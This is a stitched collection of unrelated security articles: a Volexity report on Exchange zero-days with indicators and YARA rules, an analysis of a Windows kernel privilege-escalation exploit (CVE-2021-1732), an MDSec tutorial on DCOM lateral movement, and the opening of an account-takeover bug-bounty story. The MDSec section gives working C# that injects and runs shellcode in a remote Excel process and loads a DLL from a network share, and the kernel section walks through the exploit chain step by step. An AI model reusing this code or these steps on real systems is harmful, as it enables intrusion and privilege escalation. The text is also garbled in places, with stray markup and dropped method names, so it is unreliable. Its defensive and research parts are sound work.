День: 03.03.2021

Original text by Josh Grunzweig, Matthew Meltzer, Sean Koessel, Steven Adair, Thomas Lancaster

Volexity is seeing active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal e-mail and compromise networks. These attacks appear to have started as early as January 6, 2021.

In January 2021, through its Network Security Monitoring service, Volexity detected anomalous activity from two of its customers’ Microsoft Exchange servers. Volexity identified a large amount of data being sent to IP addresses it believed were not tied to legitimate users. A closer inspection of the IIS logs from the Exchange servers revealed rather alarming results. The logs showed inbound POST requests to valid files associated with images, JavaScript, cascading style sheets, and fonts used by Outlook Web Access (OWA). It was initially suspected the servers might be backdoored and that webshells were being executed through a malicious HTTP module or ISAPI filter. As a result, Volexity started its incident response efforts and acquired system memory (RAM) and other disk artifacts to initiate a forensics investigation. This investigation revealed that the servers were not backdoored and uncovered a zero-day exploit being used in the wild.

Through its analysis of system memory, Volexity determined the attacker was exploiting a zero-day server-side request forgery (SSRF) vulnerability in Microsoft Exchange (CVE-2021-26855). The attacker was using the vulnerability to steal the full contents of several user mailboxes. This vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. The attacker only needs to know the server running Exchange and the account from which they want to extract e-mail.

Additionally, Volexity is providing alternative mitigations that may be used by defenders to assist in securing their Microsoft Exchange instances. This vulnerability has been confirmed to exist within the latest version of Exchange 2016 on a fully patched Windows Server 2016 server. Volexity also confirmed the vulnerability exists in Exchange 2019 but has not tested against a fully patched version, although it believes they are vulnerable. It should also be noted that is vulnerability does not appear to impact Office 365.Following the discovery of CVE-2021-26855, Volexity continued to monitor the threat actor and work with additional impacted organizations. During the course of multiple incident response efforts, Volexity identified that the attacker had managed to chain the SSRF vulnerability with another that allows remote code execution (RCE) on the targeted Exchange servers (CVE-2021-27065). In all cases of RCE, Volexity has observed the attacker writing webshells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT), and move laterally to other systems and environments.A patch addressing both of these vulnerabilities is expected imminently.

Authentication Bypass Vulnerability

While Volexity cannot currently provide full technical details of the exploit and will not be sharing proof-of-concept exploit code, it is still possible to provide useful details surrounding the vulnerability’s exploitation and possible mitigations. Volexity observed the attacker focused on getting a list of e-mails from a targeted mailbox and downloading them. Based on these observations, it was possible for Volexity to further improve and automate attacks in a lab environment.

There are two methods to download e-mail with this vulnerability, depending on the way that Microsoft Exchange has been configured. In corporate environments it is common that multiple Exchange servers will be set up. This is often done for load balancing, availability, and resource splitting purposes. While it is less common, it is also possible to run all Exchange functionality on a single server.

In the case where a single server is being used to provide the Exchange service, Volexity believes the attacker must know the targeted user’s domain security identifier (SID) in order to access their mailbox. This is a static value and is not considered something secret. However, it is not something that is trivially obtained by someone without access to systems within a specific organization.

In a multiple server configuration, where the servers are configured in a Database Availability Group (DAG), Volexity has proven an attacker does not need to acquire a user’s domain SID to access their mailbox. The only information required is the e-mail address of the user they wish to target.

In order to exploit this vulnerability, the attacker must also identify the fully qualified domain name (FQDN) of the internal Exchange server(s). Using a series of requests, Volexity determined that this information could be extracted by an attacker with only initial knowledge of the external IP address or domain name of a publicly accessible Exchange server. After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint. This SOAP request, using specially crafted cookies, bypasses authentication and ultimately executes the underlying request specified in the XML, allowing an attacker to perform any operation on the users’ mailbox.

Volexity has observed this attack conducted via OWA. The exploit involved specially crafted POST requests being sent to a valid static resources that does not require authentication. Specifically, Volexity has observed POST requests targeting files found on the following web directory:

/owa/auth/Current/themes/resources/

This folder contains image, font, and cascading style sheet files. Using any of these files for the POST request appears to allow the exploit to proceed. If a file such as /owa/auth/logon.aspx or simply a folder such as /owa/auth/ were to be used, the exploit will not work.

Authentication Bypass Exploit Demonstration

The video below demonstrates the vulnerability being exploited in a lab environment:https://videos.sproutvideo.com/embed/069dddb51c1fe6c48f/ba395ebbf0de5512

Figure 1. Video demonstrating the authentication bypass vulnerability at work in a lab environment.

In the video demonstration, the following SOAP XML payload is used to retrieve the identifiers of each email in Alice’s inbox:

Figure 2. XML payload used to pull email identifiers from Alice’s inbox without authentication.

Then, the following payload is used to pull down each individual email:

Figure 3. Payload used to retrieve individual emails without authentication.

Remote Code Execution Vulnerability

As mentioned in the introduction to this post, a remote code execution (RCE) exploit was also observed in use against multiple organizations. This RCE appears to reside within the use of the Set-OabVirtualDirectory ExchangePowerShell cmdlet. Evidence of this activity can be seen in Exchange’s ECP Server logs. A snippet with the exploit removed is shown below.

;’S:CMD=Set-OabVirtualDirectory.ExternalUrl=”<removed>”

IIS logs for the server would show an entry similar to what is shown below; however, this URL path may be used for items not associated with this exploit or activity.

/ecp/DDI/DDIService.svc/SetObject

In this case, this simple backdoor, which Volexity has named SIMPLESEESHARP, was then used to drop a larger webshell, named SPORTSBALL, on affected systems. Further, Volexity has observed numerous other webshells in use, such as China Chopper variants and ASPXSPY.

POST Exploitation Activity

While the attackers appear to have initially flown largely under the radar by simply stealing e-mails, they recently pivoted to launching exploits to gain a foothold. From Volexity’s perspective, this exploitation appears to involve multiple operators using a wide variety of tools and methods for dumping credentials, moving laterally, and further backdooring systems. Below is a summary of the different methods and tools Volexity has observed thus far:

Method/Tool	Purpose
rundll32 C:\windows\system32\comsvcs.dll MiniDump lsass.dmp	Dump process memory of lsass.exe to obtain credentials
PsExec	Windows Sysinternals tool used to execute commands on remote systems
ProcDump	Windows Sysinternals tool to dump process memory
WinRar Command Line Utility	Used archive data exfiltration
Webshells (ASPX and PHP)	Used to allow command execution or network proxying via external websites
Domain Account User Addition	Leveraged by attackers to add their own user account and grant it privileges to provide access in the future

Indicators of Compromise

Authentication Bypass Indicators

In Volexity’s observations of authentication bypass attacks being performed in the wild, files such as the following were the targets of HTTP POST requests:

/owa/auth/Current/themes/resources/logon.css
/owa/auth/Current/themes/resources/owafont_ja.css
/owa/auth/Current/themes/resources/lgnbotl.gif
/owa/auth/Current/themes/resources/owafont_ko.css
/owa/auth/Current/themes/resources/SegoeUI-SemiBold.eot
/owa/auth/Current/themes/resources/SegoeUI-SemiLight.ttf
/owa/auth/Current/themes/resources/lgnbotl.gif

Remote Code Execution Indicators

To identify possible historical activity related to the remote code execution exploit, organizations can search their ECP Server logs for the following string (or similar).

S:CMD=Set-OabVirtualDirectory.ExternalUrl='

ECP Server logs are typically located at <exchange install path>\Logging\ECP\Server\

Webshell Indicators

Further, Volexity has observed indicators that are consistent with web server breaches that can be used to look on disk and in web logs for access to or the presence of ASPX files at the following paths:

\inetpub\wwwroot\aspnet_client\ (any .aspx file under this folder or sub folders)

\<exchange install path>\FrontEnd\HttpProxy\ecp\auth\ (any file besides TimeoutLogoff.aspx)
\<exchange install path>\FrontEnd\HttpProxy\owa\auth\ (any file or modified file that is not part of a standard install)
\<exchange install path>\FrontEnd\HttpProxy\owa\auth\Current\<any aspx file in this folder or subfolders>
\<exchange install path>\FrontEnd\HttpProxy\owa\auth\<folder with version number>\<any aspx file in this folder or subfolders>

It should be noted that Volexity has observed the attacker adding webshell code to otherwise legitimate ASPX files in an attempt to blend in and hide from defenders.

Web Log User-Agents

There are also a handful of User-Agent that may be useful for responders to look for when examining their web logs. These are not necessarily indicative of compromise, but should be used to determine if further investigation.

Volexity observed the following non-standard User-Agents associated with POST requests to the files found under folders within /owa/auth/Current.

DuckDuckBot/1.0;+(+http://duckduckgo.com/duckduckbot.html)
facebookexternalhit/1.1+(+http://www.facebook.com/externalhit_uatext.php)
Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)
Mozilla/5.0+(compatible;+Bingbot/2.0;++http://www.bing.com/bingbot.htm)
Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html
Mozilla/5.0+(compatible;+Konqueror/3.5;+Linux)+KHTML/3.5.5+(like+Gecko)+(Exabot-Thumbnails)
Mozilla/5.0+(compatible;+Yahoo!+Slurp;+http://help.yahoo.com/help/us/ysearch/slurp)
Mozilla/5.0+(compatible;+YandexBot/3.0;++http://yandex.com/bots)
Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/51.0.2704.103+Safari/537.36

Volexity observed the following User-Agents in conjunction with exploitation to /ecp/ URLs.

ExchangeServicesClient/0.0.0.0
python-requests/2.19.1
python-requests/2.25.1

Further other notable User-Agent entries tied to tools used for post-exploitation access to webshells.

antSword/v2.1

Googlebot/2.1+(+http://www.googlebot.com/bot.html)
Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)

Additional Auth Bypass and RCE Indicators

To identify possible historical activity relating to the authentication bypass and RCE activity, IIS logs from Exchange servers can be examined for the following:

POST /owa/auth/Current/
POST /ecp/default.flt

POST /ecp/main.css

POST /ecp/<single char>.js

Note that the presence of log entries with POST requests under these directories does not guarantee an Exchange server has been exploited. However, its presence should warrant further investigation.

Yara signatures for non trivial webshells deployed by attackers following successful exploitation may be found in the Appendix of this post.

Network Indicators – Attacker IPs

Volexity has observed numerous IP addresses leveraged by the attackers to exploit the vulnerabilities described in this blog. These IP addresses are tied to VPS servers and VPN services. Volexity has also observed the attackers using Tor, but has made attempts to remove those entries from the list below.

103.77.192.219
104.140.114.110
104.250.191.110
108.61.246.56
149.28.14.163
157.230.221.198
167.99.168.251
185.250.151.72
192.81.208.169
203.160.69.66
211.56.98.146
5.254.43.18
5.2.69.14
80.92.205.81
91.192.103.43

Conclusion

Highly skilled attackers continue to innovate in order to bypass defenses and gain access to their targets, all in support of their mission and goals. These particular vulnerabilities in Microsoft Exchange are no exception. These attackers are conducting novel attacks to bypass authentication, including two-factor authentication, allowing them to access e-mail accounts of interest within targeted organizations and remotely execute code on vulnerable Microsoft Exchange servers.

Due to the ongoing observed exploitation of the discussed vulnerabilities, Volexity urges organizations to immediately apply the available patches or temporarily disabling external access to Microsoft Exchange until a patch can be applied.

Need Assistance?

If you have concerns that your servers or networks may have been compromised from this vulnerability, please reach out to the Volexity team and we can help you make a determination if further investigation is warranted.

Appendix

rule webshell_aspx_simpleseesharp : Webshell Unclassified
{

meta:

author = “threatintel@volexity.com”
date = “2021-03-01”
description = “A simple ASPX Webshell that allows an attacker to write further files to disk.”
hash = “893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2”

strings:

$header = “<%@ Page Language=\”C#\” %>”
$body = “<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine”

condition:

$header at 0 and
$body and
filesize < 1KB

}

rule webshell_aspx_reGeorgTunnel : Webshell Commodity{meta:author = “threatintel@volexity.com”date = “2021-03-01”description = “variation on reGeorgtunnel”hash = “406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928”reference = “https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx”strings:$s1 = “System.Net.Sockets”$s2 = “System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get”$t1 = “.Split(‘|’)”$t2 = “Request.Headers.Get”$t3 = “.Substring(“$t4 = “new Socket(“$t5 = “IPAddress ip;”condition:all of ($s*) orall of ($t*)}

rule webshell_aspx_sportsball : Webshell
{

meta:

author = “threatintel@volexity.com”
date = “2021-03-01”
description = “The SPORTSBALL webshell allows attackers to upload files or execute commands on the system.”
hash = “2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a”

strings:

$uniq1 = “HttpCookie newcook = new HttpCookie(\”fqrspt\”, HttpContext.Current.Request.Form”
$uniq2 = “ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE=”

$var1 = “Result.InnerText = string.Empty;”
$var2 = “newcook.Expires = DateTime.Now.AddDays(”
$var3 = “System.Diagnostics.Process process = new System.Diagnostics.Process();”
$var4 = “process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\””
$var5 = “else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\””
$var6 = “<input type=\”submit\” value=\”Upload\” />”

condition:

any of ($uniq*) or
all of ($var*)

}

APT, Exploit, Microsoft Exchange

Original text

Background

In December 2020, DBAPPSecurity Threat Intelligence Center found a new component of BITTER APT. Further analysis into this component led us to uncover a zero-day vulnerability in win32kfull.sys. The origin in-the-wild sample was designed to target newest Windows10 1909 64-bits operating system at that time. The vulnerability also affects and could be exploited on the latest Windows10 20H2 64-bits operating system. We reported this vulnerability to MSRC, and it is fixed as CVE-2021-1732 in the February 2021 Security Update.

So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in China.

Timeline

• · 2020/12/10: DBAPPSecurity Threat Intelligence Center caught a new component of BITTER APT.
• · 2020/12/15: DBAPPSecurity Threat Intelligence Center uncovered an unknown windows kernel vulnerability in the component and started the root cause analysis.
• · 2020/12/29: DBAPPSecurity Threat Intelligence Center reported the vulnerability to MSRC.
• · 2020/12/29: MSRC confirmed the report has been received and opened a case for it.
• · 2020/12/31: MSRC confirmed the vulnerability is a zero-day and asked for more information.
• · 2020/12/31: DBAPPSecurity provided more detail to MSRC.
• · 2021/01/06: MSRC thanked for the addition information and started working for a fix for the vulnerability.
• · 2021/02/09: MSRC fixes the vulnerability as CVE-2021-1732.

Highlights

According to our analysis, the in-the-wild zero-day has the following highlights:

1. 1. It targets the latest version of Windows10 operating system
   1. 1.1. The in-the-wild sample targets the latest version of Windows10 1909 64-bits operating system (The sample was compiled in May 2020).
   2. 1.2. The origin exploit aims to target several Windows 10 versions, from Windows10 1709 to Windows10 1909.
   3. 1.3. The origin exploit could be exploited on Windows10 20H2 with minor modifications.
2. 2. The vulnerability is high quality and the exploit is sophisticated
   1. 2.1. The origin exploit bypasses KASLR with the help of the vulnerability feature.
   2. 2.2. This is not a UAF vulnerability. The whole exploit process is not involved heap spray or memory reuse. The Type Isolation mitigation can’t mitigate this exploit. It is unable to detect it by Driver Verifier, the in-the-wild sample can exploit successfully when Driver Verifier is turned on. It’s hard to hunt the in-the-wild sample through sandbox.
   3. 2.3. The arbitrary read primitive is achieved by vulnerability feature in conjunction with GetMenuBarInfo, which is impressive.
   4. 2.4. After achieving arbitrary read/write primitives, the exploit uses Data Only Attack to perform privilege escalation, which can’t be mitigated by current kernel mitigations.
   5. 2.5. The success rate of the exploit is almost 100%.
   6. 2.6. When finishing exploit, the exploit will restore all key struct members, there will be no BSOD after exploit.
3. 3. The attacker used it with caution
   1. 3.1. Before exploit, the in-the-wild sample detects specific antivirus software.
   2. 3.2. The in-the-wild sample performs operating system build version check, if current build version is under than 16535(Windows10 1709), the exploit will never be called.
   3. 3.3. The in-the-wild sample was compiled in May 2020, and caught by us in December 2020, it survived at least 7 months. This indirectly reflects the difficulty of capturing such stealthy sample.

Technical Analysis

0x00 Trigger Effect

If we run the in-the-wild sample in the lasted windows10 1909 64-bits environment, we could observe current process initially runs under Medium Integrity Level.

After the exploit code executing, we could observe current process runs under System Integrity Level. This indicates that the Token of the current process has been replaced with the Token of System process, which is a common method of exploiting kernel privilege escalation vulnerabilities.

If we run the in-the-wild sample in the lasted windows10 20H2 64-bits environment, we could observe BSOD immediately.

0x01 Overview Of The Vulnerability

This vulnerability is caused by xxxClientAllocWindowClassExtraBytes callback in win32kfull!xxxCreateWindowEx. The callback causes the setting of a kernel struct member and its corresponding flag to be out of sync.

When xxxCreateWindowEx creating a window that has WndExtra area, it will call xxxClientAllocWindowClassExtraBytes to trigger a callback, the callback will return to user mode to allocate WndExtra area. In the custom callback function, the attacker could call NtUserConsoleControl and pass in the handle of current window, this will change a kernel struct member (which points to the WndExtra area) to offset, and setting a corresponding flag to indicate that the member now is an offset. After that, the attacker could call NtCallbackReturn in the callback and return an arbitrary value. When the callback ends and return to kernel mode, the return value will overwrite the previous offset member, but the corresponding flag is not cleared. After that, the unchecked offset value is directly used by kernel code for heap memory addressing, causing out-of-bounds access.

0x02 Root Cause

We completely reversed the exploit code of the in-the-wild sample, and constructed a poc base it. The following figure is the main execution logic of our poc, we will explain the vulnerability trigger logic in conjunction with this figure.

In win32kfull!xxxCreateWindowEx, it will call user32!_xxxClientAllocWindowClassExtraBytes callback function to allocate the memory of WndExtra by default. The return value of the callback is a use mode pointer which will then been saved to a kernel struct member (the WndExtra member).

If we call win32kfull!xxxConsoleControl in a custom _xxxClientAllocWindowClassExtraBytes callback and pass in the handle of current window, the WndExtra member will be change to an offset, and a corresponding flag will be set (|=0x800).

The poc triggers an BSOD when calling DestoryWindow, win32kfull!xxxFreeWindow will check the flag above, if it has been set, indicating the WndExtra member is an offset, xxxFreeWindow will call RtlFreeHeap to free the WndExtra area; if not, indicating the WndExtra member is an use mode pointer, xxxFreeWindow will call xxxClientFreeWindowClassExtraBytes to free the WndExtra area.

We could call NtCallbackReturn in the end of custom _xxxClientAllocWindowClassExtraBytes callback and return an arbitrary value. When the callback finishes and return to kernel mode, the return value will overwrite the offset member, but the corresponding flag is not cleared.

In the poc, we return an user mode heap address, the address overwrites the origin offset to an user mode heap address(fake_offset). This finally causes win32kfull!xxxFreeWindow to trigger an out-of-bound access when using RtlFreeHeap to release a kernel heap.

• What RtlFreeHeap expects to free is RtlHeapBase+offset
• What RtlFreeHeap actually free is RtlHeapBase+fake_offset

If we call the RtlFreeHeap here, it will trigger a BSOD.

0x03 Exploit

The in-the-wild sample is a 64-bits program, it first calls CreateToolhelp32Snapshot and some other functions to enumerate process to detect “avp.exe” (avp.exe is a process of Kaspersky Antivirus Software).

However, when detecting the “avp.exe” process, it will only save some value to custom struct and will not exit process, the full exploit function will still be called. We install the Kaspersky antivirus product and run the sample; it will obtain system privileges as usual.

It then calls IsWow64Process to check whether the current environment is 32-bits or 64-bits, and fix some offsets based on the result. Here the code developer seems make a mistake, according to the source code below, g_x64 should be understood as g_x86, but subsequent calls indicate that this variable represents the 64-bits environment.

However, the code developer forces g_x64 to TRUE at initialization, the call to IsWow64Process actually can be ignored here. But this seems to imply that the developer had also developed another 32-bits version exploit.

After fixing some offsets, it obtains the address of RtlGetNtVersionNumbers, NtUserConsoleControl and NtCallbackReturn. Then it calls RtlGetNtVersionNumbers to get the build number of current operating system, the exploit function will only be called when the build number is larger than 16535(Windows10 1709), and if the build number larger than 18204(Windows10 1903), it will fix some kernel struct offset. This seems to imply that support for these versions was added later.

If the current environment passes the check, the exploit will be called by the in the wild sample. The exploit first searches bytes to get the address of HmValidateHandle, and hooks USER32!_xxxClientAllocWindowClassExtraBytes to a custom callback function.

The exploit then registers two type of windows class. The name of one class is “magicClass”, which is used to create the vulnerability window. The name of another class is “nolmalClass”, which is used to create normal windows which will assist the arbitrary address write primitive later.

The exploit creates 10 windows using normalClass, and call HmValidateHandle to leak the user mode tagWND address of each window and an offset of each window through the tagWND address. Then the exploit destroys the last 8 windows, only keep the window 0 and window 1.

If current program is 64-bits, the exploit will call NtUserConsoleControl and pass the handle of windows 1, this will change the WndExtra member of window 0 to an offset. The exploit then leaks the kernel tagWND offset of windows 0 for later use.

Then the exploit uses magicClass to create another window (windows 2), windows 2 has a certain cbWndExtra value which was generated before. In the process of creating window 2, it will trigger the xxxClientAllocWindowClassExtraBytes callback, and enter the custom callback function.

In the custom callback function, the exploit first checks if the cbWndExtra of current window match a certain value, then checks if current process is 64-bits. If both checks pass, the exploit calls NtUserConsoleControl and passes the handle of windows 2, this changes the WndExtra of window 2 to an offset and set the corresponding flag. Then the exploit call NtCallbackReturn and pass the kernel tagWND offset of windows 0. When return to kernel mode, kernel WndExtra offset of windows 2 will been changed to the kernel tagWND offset of windows 0. This causes the subsequent read/write on the WndExtra area of window 2 to the read/write on the kernel tagWND structure of window 0.

After window 2 is created, the exploit obtains the primitive to write the kernel tagWND of window 0 by setting the WndExtra area of window 2. The exploit makes a call to SetWindowLongW on window 2 to test if this primitive works fine.

If all works fine, the exploit calls SetWindowLongW to set cbWndExtra of windows 0 to 0xfffffff, this gives window 0 the OOB read/write primitives. The exploit then using the OOB write primitive to modify the style of window 1(dwStyle|=WS_CHILD), after that, the exploit replaces the origin spmenu of window 1 with a fake spmenu.

The arbitrary read primitive is achieved by fake spmenu works with GetMenuBarInfo. The exploit reads a 64-bits value using tagMenuBarInfo.rcBar.left and tagMenuBarInfo.rcBar.top. This method has not been used publicly before, but is similar with the ideas in《LPE vulnerabilities exploitation on Windows 10 Anniversary Update》(ZeroNight, 2016)

The arbitrary write primitive is achieved via window 0 and window 1, work with SetWindowLongPtrA, see below.

After achieving the arbitrary read/write primitives, the exploit leaks a kernel address from the origin spmemu, then searches through it to find the EPROCESS of current process.

Finally, the exploit traversals ActiveProcessLinks to get the Token of SYSTEM EPROCESS and the Token area address of current EPROCESS, and swaps the current process Token value with SYSTEM Token.

After achieving privilege escalation, the exploit restores the modified area of window 0, window 1 and window 2 using arbitrary write primitive, such as the origin spmenu of window 1 and the flag of window 2, to ensure that it will not cause a BSOD. The entire exploit process is very stable.

0x04 Conclusion

This zero-day is a new vulnerability which caused by win32k callback, it could be used to escape the sandbox of Microsoft IE browser or Adobe Reader on the lasted Windows 10 version. The quality of this vulnerability high and the exploit is sophisticated. The use of this in-the-wild zero-day reflects the organization’s strong vulnerability reserve capability. The threat organization may have recruited members with certain strength, or buying it from vulnerability brokers.

Summary

Zero-day plays a pivotal role in cyberspace. It is usually used as a strategic reserve for threat organizations and has a special mission and strategic significance.With the iteration of software/hardware and the improvement of the defense system, the cost of mining and exploiting software/hardware zero-day is getting higher and higher.

Over the years, vendors over the world have investment a lot on detecting APT attacks. This makes the APT organization more cautious in the use of zero-day. In order to maximize its value, it will only be used for very few specific targets. A little carelessness will shorten the life cycle of a zero-day. Meanwhile, some zero-days have been lurking for a long time before being exposed, the most remarkable example is the MS17-010 used by EternalBlue,

Over the last year (2020), dozens of 0Day/1Day attacks in the wild were disclosed globally, including three attacks which tracked by DBAPPSecurity Threat Intelligence Center. Based on the data we have, we predict there will be more zero-day disclose on browser and privilege escalation in 2021.

The detection capability on zero-day is one of key aspect that requires continuous improvement in the APT confrontation process. In addition to endpoint attacks, the attacks on boundary systems, critical equipment, and centralized control systems are also worth noting. There are also several security incidents in these areas over the past years.

Being undiscovered does not mean that it does not exist, it may be more in a stealthy state. The discovery, detection and defense of advanced threats attacks require constant iteration and strengthening during the game. It’s necessary to think more about how to strengthen the defense capabilities in all points, lines and surfaces. Cyber security has a long way to go, and we need to encourage each other.

How To Defend Against Such Attacks

The DBAPPSecurity APT Attack Early Warning Platform could find known/unknown threat. The platform can monitor, capture and analyze the threats of malicious files or programs in real time, and can conduct powerful monitoring of malicious samples such as Trojan horses associated with each stage of email delivery, vulnerability exploitation, installation/implantation and C2.

At the same time, the platform conducts in-depth analysis of network traffic based on two-way traffic analysis, intelligent machine learning, efficient sandbox dynamic analysis, rich signature libraries, comprehensive detection strategies, and massive threat intelligence data. The detection capability completely covers the entire APT attack chain, effectively discovering APT attacks, unknown threats and network security incidents that users care about.

Yara Rule

rule apt_bitter_win32k_0day {

    meta:

        author = "dbappsecurity_lieying_lab"

        data = "01-01-2021"



    strings:

        $s1 = "NtUserConsoleControl" ascii wide

        $s2 = "NtCallbackReturn" ascii wide

        $s3 = "CreateWindowEx" ascii wide

        $s4 = "SetWindowLong" ascii wide



        $a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}

        $a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}

        $a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}



    condition:

        uint16(0) == 0x5a4d and all of ($s*) and 1 of ($a*)

}

---

Apt分析

Original text by MDSec Research

Overview

In part 1 of this series, we discussed lateral movement using WMI event subscriptions. During this post we will discuss another of my “go to” techniques for lateral movement, using the Distributed Component Object Model (DCOM). I won’t dwell on this too long as DCOM is covered in many other research posts, but let’s cover a brief introduction to what DCOM is and why it is interesting.

COM is a component of Windows that facilitates interoperability between software, DCOM extends this across the network using remote procedure calls (RPC). Software hosting a COM server (typically within a DLL or exe) on a remote system is therefore able to expose its methods to clients using RPC.

One of the benefits for leveraging DCOM for lateral movement is that the process executing on the remote host is whatever software is hosting the COM server. For example, if abusing the 

 COM object, execution will occur in an existing explorer.exe process on the remote host. From an offensive perspective, this has not only the obvious benefits of helping to blend in but also due to the significant number of programs exposing methods to DCOM it can be difficult to comprehensively monitor them all for execution.

Discovering DCOM Methods

If we are interested in discovering applications that support DCOM, we can use the 

 WMI class to list them:

Using this list, we can instantiate each AppID and list the available methods using the 

 cmdlet:

In this example, we can see the exposed methods for the 

 COM object; one of the well known methods for lateral movement is   which resides within this object.

Case Study with Excel

When I first started this research, my original objective was to try and discover a new COM object that could be used for lateral movement over DCOM. Unfortunately, in the limited time I had my search was fairly unfruitful, so instead I’m going to document a couple of my favourite techniques for lateral movement to workstations using Excel.

By creating an instance of the Excel COM class you will discover there are many methods available:

Reviewing these methods, you can find at least two methods that are known to be capable of lateral movement; 

 and  . Let’s walkthrough how we can develop tooling to leverage these methods for lateral movement using C#.

Lateral Movement Using ExecuteExcel4Macro

This technique was first documented by Stan Hegt from Outflank and allows Excel4 macros to be executed remotely. The main benefits of this method is that XLM macros are still not widely supported across anti-virus engines and the technique can be executed in a fileless manner inside the DCOM launched excel.exe process. This approach therefore allows the operator to minimise the indicators associated with the technique and reduce the likelihood of detection.

Firstly, an instance of the Excel COM object needs to be instantiated to facilitate executing its methods; previously we showed how to do this in PowerShell, the equivalent C# is as follows:

Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);

object excel = Activator.CreateInstance(ComType);

At this point, we’re in a position to start calling the XLM code using 

 to execute the instance’s   method, where the following can be used to pop calc:

excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, <strong>new</strong> <strong>object</strong>&#91;] { "EXEC(\"calc.exe\")" });

In order to weaponise this technique, we ideally want it to execute in a fileless manner. As explained by Outflank, XLM code has direct access to the Win32 API so we can leverage this to execute shellcode by writing it to memory and starting a new thread:

<strong>var</strong> memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, <strong>new</strong> <strong>object</strong>&#91;] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + shellcode.Length + ",4096,64)" }));

<strong>var</strong> startaddr = memaddr;



<strong>foreach</strong> (<strong>var</strong> b <strong>in</strong> shellcode) {

    <strong>var</strong> cb = String.Format("CHAR({0})", b);

    <strong>var</strong> macrocode = "CALL(\"Kernel32\",\"RtlMoveMemory\",\"JJCJ\"," + memaddr + "," + cb + ",1)";

    excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, <strong>new</strong> <strong>object</strong>&#91;] { macrocode });

    memaddr++;

}

excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, <strong>new</strong> <strong>object</strong>&#91;] { "CALL(\"Kernel32\",\"QueueUserAPC\",\"JJJJ\"," + startaddr + ", -2, 0)" });

This of course can be improved to do remote process injection or speed up execution by moving the bytes in chunks.

Lateral Movement Using RegisterXLL

The second of my favoured lateral movement approaches using Excel is the 

 method, first documented by Ryan Hanson. This approach is relatively straightforward and as the name implies, the   method allows you to execute an XLL file. This file is simply an DLL with the   export. However, the beauty of this technique is twofold, the extension for the file is irrelevant and the method accepts a UNC path, meaning that it does not need to be hosted on the system you are laterally moving to.

Creating tooling for this technique is a simple one, and in a few short lines we’re able to create an instance of the Excel COM object and invoke the 

 method which takes a single argument, the path to the XLL file:

<strong>string</strong> XLLPath = "\\\\\\\\fileserver\\\\excel.log";

Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);

<strong>object</strong> excel = Activator.CreateInstance(ComType);

excel.GetType().InvokeMember("RegisterXLL", BindingFlags.InvokeMethod, null, excel, <strong>new</strong> <strong>object</strong>&#91;] { XLLPath });

Let’s take a look at this technique in action:https://player.vimeo.com/video/459000320?dnt=1&app_id=122963

Detection

Detection for DCOM lateral movement techniques can be complex, however generally speaking it is possible to detect that a process has been instantiated through DCOM as it will be executed through the 

 service or with DllHost.exe as a parent process. These can be captured using Sysmon Process Create events (ID 1) such as the following:

You will also note the presence of the “

” arguments used by Excel in this instance which are also a further indicator that the process has been launched through automation.

Although specific to the 

 technique, it may also be worthwhile monitoring for   events (ID 7) where the image is an XLL file:

Detecting the 

 technique is somewhat more complex as the macro code executes in-process and does not necessarily require additional image loads or similar.

The Mordor dataset is now available for this courtesy of @Cyb3rWard0g:

• DCOM RegisterXLL
• DCOM ExecuteExcel4Macro

Stay tuned for part 3….

This post was written by Dominic Chell.

Original text by LAXMAN MUTHIYAH

This article is about how I found a vulnerability on Microsoft online services that might have allowed anyone to takeover any Microsoft account without consent permission. Microsoft security team patched the issue and rewarded me $50,000 as a part of their Identity Bounty Program.

After my Instagram account takeover vulnerability, I was searching for similar loopholes in other services. I found Microsoft is also using the similar technique to reset user’s password so I decided to test them for any rate limiting vulnerability.

To reset a Microsoft account’s password, we need to enter our email address or phone number in their forgot password page, after that we will be asked to select the email or mobile number that can be used to receive security code.

Once we receive the 7 digit security code, we will have to enter it to reset the password. Here, if we can bruteforce all the combination of 7 digit code (that will be 10^7 = 10 million codes), we will be able to reset any user’s password without permission. But, obviously, there will be some rate limits that will prevent us from making large number of attempts.

Intercepting the HTTP POST request made to code validation endpoint looked like this

If you look at the screenshot above, the code 1234567 we entered was nowhere present in the request. It was encrypted and then sent for validation. I guess they are doing this to prevent automated bruteforce tools from exploiting their system. So, we cannot automate testing multiple codes using tools like Burp Intruder since they won’t do the encryption part 😕

After some time, I figured out the encryption technique and was able to automate the entire process from encrypting the code to sending multiple concurrent requests.

